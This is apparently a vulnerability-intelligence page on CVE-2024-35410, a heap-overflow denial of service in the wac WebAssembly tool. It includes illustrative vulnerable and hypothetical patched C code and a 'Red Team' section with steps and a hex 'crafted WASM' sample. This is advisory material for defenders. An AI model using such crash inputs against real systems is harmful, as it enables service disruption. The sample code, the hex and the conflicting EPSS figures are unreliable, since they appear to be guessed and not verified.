☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-122
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-35410

CVE-2024-35410 Denial of Service in Wac
📅 PUBLISHED: 2024-11-08 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-35410 is a heap overflow vulnerability discovered in the wac tool (commit 385e1), specifically within the interpret function in /wac-asan/wa.c. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a crafted WebAssembly (WASM) file. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation activity at this time. No public proof-of-concept (PoC) or patch is available. The vendor (Wac) has not acknowledged or patched the issue.

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›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
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PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
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Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects the wac tool, a standalone utility for processing WebAssembly files.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unscored)
  • Vector: UNKNOWN
  • Attack Vector (AV): Local (requires user to open a malicious WASM file)
  • Attack Complexity (AC): Low
  • Privileges Required (PR): None
  • User Interaction (UI): Required (user must open the file)
  • Scope (S): Unchanged
  • Confidentiality (C): None
  • Integrity (I): None
  • Availability (A): High (DoS)
  • EPSS Score: 0.0% (Low probability of exploitation)
  • Threat Level: Low (due to low EPSS and no public PoC)

Deep Dive & Mechanics

The vulnerability resides in the interpret function within /wac-asan/wa.c of the wac tool (commit 385e1). The function processes WebAssembly bytecode and fails to properly validate memory bounds when handling certain instructions, leading to a heap overflow. This overflow corrupts adjacent heap memory, causing the application to crash (DoS). The issue is triggered by a crafted WASM file that contains malformed or oversized data structures.

The root cause is a missing bounds check in the interpret function when writing to a heap-allocated buffer. An attacker can craft a WASM file that causes the function to write beyond the allocated buffer, overwriting heap metadata or other data structures.

Vulnerable vs. Patched Code

Vulnerable Code (wac commit 385e1):

// In /wac-asan/wa.c, interpret function
void interpret(WasmModule *module) {
    // ... parsing logic ...
    for (int i = 0; i < module->code_size; i++) {
        // Missing bounds check on heap buffer
        heap_buffer[heap_offset++] = module->code[i]; // Heap overflow possible
    }
}

Patched Code (Hypothetical):

void interpret(WasmModule *module) {
    // ... parsing logic ...
    for (int i = 0; i < module->code_size; i++) {
        if (heap_offset >= heap_buffer_size) {
            // Handle error or reallocate
            fprintf(stderr, "Buffer overflow prevented\n");
            exit(1);
        }
        heap_buffer[heap_offset++] = module->code[i];
    }
}

No official patch exists. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • wac tool (commit 385e1) installed on a Linux system.
  • A crafted WASM file that triggers the heap overflow.

Steps:

  1. Create a malicious WASM file (e.g., exploit.wasm) that contains oversized data in a section processed by the interpret function.
  2. Run the wac tool on the file:
    ./wac exploit.wasm
    
  3. The tool will crash due to heap overflow, causing a DoS.

Example Crafted WASM (Hex):

00 61 73 6d 01 00 00 00 01 05 01 60 00 01 7f 03
02 01 00 07 07 01 03 72 75 6e 00 00 0a 09 01 07
00 41 00 0b 00 0b 00 00 00 00 00 00 00 00 00 00
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00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00
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wasm-asan
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-35410/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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